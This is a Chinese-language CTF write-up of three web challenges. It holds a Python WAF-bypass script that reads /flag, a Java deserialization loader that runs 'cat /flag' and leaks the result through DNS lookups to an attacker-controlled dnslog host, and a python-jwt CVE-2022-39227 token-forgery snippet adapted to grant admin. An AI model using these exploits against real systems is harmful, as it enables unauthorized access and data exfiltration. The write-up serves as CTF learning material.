[WEB] RustWaf
app.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({type: '*/*'}));
const { execFileSync } = require('child_process');
app.post('/readfile', function (req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], {
encoding: 'utf-8'
}).trim();
try {
file_to_read = JSON.parse(file)
} catch (e){
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function (req, res) {
res.send('see `/src`');
});
app.get('/src', function (req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function () {
console.log('start listening on port 3000');
});
|
main.rs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
| use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;
static BLACK_PROPERTY: &str = "protocol";
#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}
fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}
|
可以看到 app.js 里对返回结果进行了 trim ,而 main.rs 没有。可以用一些空白字符让 serde_json 反序列化失败,而 app.js trim 后可以成功反序列化
payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
| import json
import re
import requests
proxy = {
'http': 'http://127.0.0.1:8080'
}
url = "http://your-domain.cloudeci1.ichunqiu.com:3000/readfile"
def encode(data):
res = ''.join(r'\u{:04X}'.format(ord(chr)) for chr in data)
return res
header = {
"Content-type": "application/x-www-form-urlencoded"
}
# unicode 绕过flag检测
print(encode("flag"))
# \u3000 全角中文空格,可以被trim剔除,直接序列化会报错,绕过waf
data = "\u3000\uFEFF".encode() + b'{"protocol":"file:","href":"file:///\u0066\u006C\u0061\u0067","origin":"null","host":"/","pathname":"/\u0066\u006C\u0061\u0067","hostname":""}'
print(data)
r = requests.post(url, data=data, headers=header, proxies=proxy)
print(r.text)
|
[WEB] ezjava
题目给了个 jar
包,拖进 JADX
看看,
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| package com.ctf.ezjava.controller;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
/* loaded from: ezjava-0.0.1-SNAPSHOT.jar:BOOT-INF/classes/com/ctf/ezjava/controller/Hello.class */
public class Hello {
@GetMapping({"/hello"})
public String hello() {
return "hello";
}
@PostMapping({"/myTest"})
public String myTest(@RequestBody String baseStr) {
try {
byte[] decode = Base64.getDecoder().decode(baseStr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decode));
ois.readObject();
return "true";
} catch (Exception e) {
System.out.println(e);
return "false";
}
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
| Manifest-Version: 1.0
Spring-Boot-Classpath-Index: BOOT-INF/classpath.idx
Archiver-Version: Plexus Archiver
Built-By:
Spring-Boot-Layers-Index: BOOT-INF/layers.idx
Start-Class: com.ctf.ezjava.EzjavaApplication
Spring-Boot-Classes: BOOT-INF/classes/
Spring-Boot-Lib: BOOT-INF/lib/
Spring-Boot-Version: 2.6.1
Created-By: Apache Maven
Build-Jdk: 1.8.0_66
Main-Class: org.springframework.boot.loader.JarLauncher
|
这个题坑的地方在服务端不能出网,卡了半天,测试发现dns解析是能成功的,那就有两个思路了
lib
里面有 commons-collections4-4.0.jar
反序列化用 CC2 链可以打通,做题的时候为了方便直接魔改的 ysomap 的 DnslogLoader
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
| package loader;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.*;
import java.net.InetAddress;
import java.net.URL;
import java.net.UnknownHostException;
import java.util.Base64;
public class DnslogLoader extends AbstractTranslet implements Serializable {
private static String dnslog;
public static String bytesToHex(byte[] bytes) {
StringBuffer sb = new StringBuffer();
for(int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xFF);
if(hex.length() < 2){
sb.append(0);
}
sb.append(hex);
}
return sb.toString();
}
public DnslogLoader(){
if(dnslog != null){
try {
Process process = Runtime.getRuntime().exec("cat /flag");
ByteArrayOutputStream resultOutStream = new ByteArrayOutputStream();
InputStream errorInStream = new BufferedInputStream(process.getErrorStream());
InputStream processInStream = new BufferedInputStream(process.getInputStream());
int num = 0;
byte[] bs = new byte[1024];
while((num=errorInStream.read(bs))!=-1){
resultOutStream.write(bs,0,num);
}
while((num=processInStream.read(bs))!=-1){
resultOutStream.write(bs,0,num);
}
String baseurl = String.format("http://%s.%s", bytesToHex(resultOutStream.toByteArray()).substring(45), dnslog);
URL url = new URL(baseurl);
url.hashCode();
// url.openStream();
} catch (Exception e) {
// do nothing
}
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public String getHostname(){
InetAddress ia = null;
try {
ia = InetAddress.getLocalHost();
return ia.getHostName();
} catch (UnknownHostException e) {
return "unknown";
}
}
}
|
之后准备详细整理反序列化漏洞和Springboot内存马相关的知识
[WEB] FunWEB
没出。看wp说后端是 Python
写的, 可以根据 Cookie
里的 session
看出来是 flask
,最近 python-jwt
修复了 CVE-2022-39227,网上没找到现成的 poc,看下 commit 记录有这个漏洞的测试代码,贴一下方便分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| """ Test claim forgery vulnerability fix """
from datetime import timedelta
from json import loads, dumps
from test.common import generated_keys
from test import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode
@Vows.batch
class ForgedClaims(Vows.Context):
""" Check we get an error when payload is forged using mix of compact and JSON formats """
def topic(self):
""" Generate token """
payload = {'sub': 'alice'}
return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context):
""" Make a forged token """
def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['sub'] = 'bob'
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context):
""" Check the forged token fails to verify """
@Vows.capture_error
def topic(self, topic):
""" Verify the forged token """
return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r):
""" Check the token doesn't verify due to mixed format being detected """
expect(r).to_be_an_error()
expect(str(r)).to_equal('invalid JWT format')
|
jwt主要内容
1
2
3
4
5
6
| {
"is_admin": 0,
"is_login": 1,
"password": "test"
"username": "test"
}
|
简单看了一下,大概就是使用json格式混淆,改改就能用
1
2
3
4
5
6
7
8
| def topic(self, topic):
""" Use mix of JSON and compact format to insert forged claims including long expiration """
[header, payload, signature] = topic.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['is_admin'] = 1
parsed_payload['exp'] = 2000000000
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
|
把生成的payload替换token访问 /flag
接口,看来必须拿到密码了,还有一个grahql查询接口,可以手动注入拿密码,用密码登陆后可以拿到flag,grahql注入已经进入知识盲区了,周末系统学习一下
1
| only currect password can readflag
|